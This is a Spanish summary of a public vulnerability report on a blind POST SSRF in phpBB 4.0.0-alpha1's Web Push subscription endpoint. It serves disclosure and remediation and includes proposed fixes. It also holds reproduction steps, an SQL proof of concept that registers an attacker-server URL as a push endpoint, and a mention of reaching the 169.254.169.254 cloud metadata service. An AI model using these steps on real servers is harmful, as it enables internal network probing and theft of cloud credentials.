Reports
MEDIA[SSRF]#3608558

SSRF ciego por POST en phpBB: el endpoint de notificaciones Web Push aceptaba cualquier URL

En phpBB 4.0.0-alpha1, cualquier usuario registrado podía registrar una URL arbitraria como destino de sus notificaciones Web Push y obligar al servidor a enviar peticiones POST a servicios internos o a metadatos de la nube.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

phpBB 4.0 sustituyó la antigua integración con Jabber por notificaciones Web Push. Para recibirlas, el navegador del usuario envía a /user/push/subscribe una suscripción que incluye un campo endpoint: la URL del servicio de push a la que el foro debe mandar cada aviso.

El problema es que phpBB guardaba ese endpoint en la base de datos tal cual llegaba, sin comprobar que apuntase a un servicio de push real. Más tarde, cada vez que el usuario tenía una notificación, el servidor leía esa URL y le enviaba una petición HTTP POST con la librería Minishlink WebPush (sobre Guzzle). Resultado: un SSRF ciego por POST al alcance de cualquier cuenta registrada.

El investigador lo relaciona con un fallo anterior de la misma familia, el reporte #1018568 (SSRF en la configuración de Jabber). La diferencia es que aquel exigía acceso de administrador y este solo una cuenta normal.

  • Versión afectada: phpBB 4.0.0-alpha1 (commit 4a57f1ff3c)
  • Puntuación: CVSS 3.1 de 5.0 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N)

Dónde está el fallo

Al suscribirse, en webpush.php (líneas 321-327), el endpoint se inserta sin validar:

$sql = 'INSERT INTO ' . $this->push_subscriptions_table . ' '
    . $this->db->sql_build_array('INSERT', [
    'user_id'   => $this->user->id(),
    'endpoint'  => $data['endpoint'],  // ← no URL validation
    // ...
]);

Al notificar, en notification/method/webpush.php (líneas 248-255), se usa ese mismo valor como destino de la petición:

$push_subscription = Subscription::create([
    'endpoint' => $subscription['endpoint'],  // from DB, unvalidated
]);
$web_push->queueNotification($push_subscription, $json_data);

Requisitos

  • El administrador tiene que haber activado Web Push (webpush_enable=1) y configurado las claves VAPID. En una instalación nueva webpush_enable viene a false, pero webpush_method_default_enable viene a true: en cuanto el administrador activa la función, queda habilitada para todos los usuarios.
  • El atacante necesita una cuenta registrada.

Pasos de reproducción

  1. Activar Web Push en el foro (desde el ACP → configuración del foro, poniendo las claves VAPID). También se puede hacer en la base de datos:

``sql UPDATE phpbb_config SET config_value = '1' WHERE config_name = 'webpush_enable'; -- Generate and set VAPID keys via Minishlink\WebPush\VAPID::createVapidKeys() ``

  1. Registrar un endpoint malicioso. Con una cuenta normal, suscribirse a las notificaciones Web Push desde el navegador e interceptar la petición a /user/push/subscribe. Cambiar el campo endpoint por una URL interna. Hay que enviar también claves ECDH P-256 válidas, que se generan sin dificultad.
  1. Provocar una notificación para esa cuenta: que otro usuario responda a uno de sus temas, cite uno de sus mensajes o le envíe un mensaje privado, por ejemplo.
  1. El servidor hace la petición. phpBB lee el endpoint guardado y envía un POST a esa URL a través de Guzzle.

Prueba verificada

El investigador lo comprobó en phpBB 4.0.0-alpha1 en Docker (PHP 8.2 + MySQL 8.0). Insertó la suscripción maliciosa:

INSERT INTO phpbb_push_subscriptions (user_id, endpoint, p256dh, auth)
VALUES (2, 'http://attacker-server:9999/ssrf-poc', '<valid_p256dh>', '<valid_auth>');

Disparó una notificación con $notification_manager->add_notifications() y su servidor de escucha recibió esto:

POST /ssrf-poc HTTP/1.1
Host: attacker-server:9999
User-Agent: GuzzleHttp/7
Content-Type: application/octet-stream
Content-Encoding: aesgcm
Authorization: WebPush [REDACTADO]
Content-Length: 3070

Es una petición Web Push completa (cuerpo cifrado, JWT VAPID y cabeceras ECDH), pero enviada al destino que eligió el atacante.

Impacto

El atacante no ve el cuerpo de la respuesta, pero sí puede deducir información por el tiempo que tarda, por si la conexión funciona o falla y por el código de estado, que aparece en el registro de administración de phpBB. Con eso podría:

  • Explorar la red interna: escanear puertos y descubrir servicios accesibles desde el servidor del foro pero no desde Internet.
  • Llegar a los metadatos de la nube: en instancias alojadas en la nube, las peticiones a http://169.254.169.254/ alcanzan el servicio de metadatos. Según el investigador, IMDSv1 de AWS responde a peticiones POST, lo que podría filtrar credenciales IAM.
  • Interactuar con servicios internos: cada petición lleva un cuerpo no vacío (unos 3 KB cifrados), lo que podría disparar acciones en servicios internos que acepten POST.

Remediación

La causa es que subscribe() en webpush.php guarda la URL sin validarla. La especificación Push API del W3C prevé que el endpoint sea la URL de un servicio de push (por ejemplo fcm.googleapis.com o push.services.mozilla.com), pero phpBB no lo comprobaba. El investigador propuso dos opciones: aceptar solo dominios de servicios de push conocidos por HTTPS o, como mínimo, rechazar las URL que resuelvan a direcciones privadas o reservadas.

// Option A: Allowlist of known push service domains
$allowed_hosts = ['fcm.googleapis.com', 'push.services.mozilla.com',
                  'notify.windows.com', 'web.push.apple.com'];
$parsed = parse_url($data['endpoint']);
if (!$parsed || $parsed['scheme'] !== 'https' ||
    !in_array($parsed['host'], $allowed_hosts) &&
    !str_ends_with($parsed['host'], '.notify.windows.com')) {
    throw new http_exception(400, 'INVALID_PUSH_ENDPOINT');
}

// Option B: At minimum, reject private/internal IPs
$host = parse_url($data['endpoint'], PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
    throw new http_exception(400, 'INVALID_PUSH_ENDPOINT');
}

El reporte se envió el 16 de marzo de 2026, consta como resuelto y se hizo público el 30 de mayo de 2026. No detalla qué solución aplicó finalmente phpBB.